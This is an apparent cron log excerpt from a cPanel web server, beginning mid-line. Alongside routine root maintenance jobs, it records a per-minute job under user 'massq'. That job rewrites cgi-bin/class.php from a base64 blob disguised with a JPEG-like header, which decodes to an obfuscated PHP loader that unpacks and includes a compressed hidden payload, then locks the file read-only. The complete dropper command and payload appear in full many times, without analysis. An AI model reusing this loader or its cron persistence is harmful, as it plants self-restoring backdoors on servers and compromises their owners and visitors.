&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:25:01 server CROND[6766]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 12 16:25:01 server CROND[6767]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 16:25:01 server CROND[6768]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 16:26:01 server CROND[7653]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:27:01 server CROND[8110]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 16:27:01 server CROND[8111]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:28:01 server CROND[9174]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:29:01 server CROND[9994]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:30:01 server CROND[10824]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 16:30:01 server CROND[10825]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 12 16:30:01 server CROND[10831]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:30:01 server CROND[10829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 16:30:01 server CROND[10828]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 16:31:01 server CROND[11749]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:32:01 server CROND[12656]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:33:01 server CROND[13471]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:34:01 server CROND[14301]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:35:01 server CROND[15127]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 16:35:01 server CROND[15130]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 16:35:01 server CROND[15131]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 16:35:01 server CROND[15133]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:35:01 server CROND[15132]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 16:36:01 server CROND[15932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 16:37:01 server CROND[16751]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
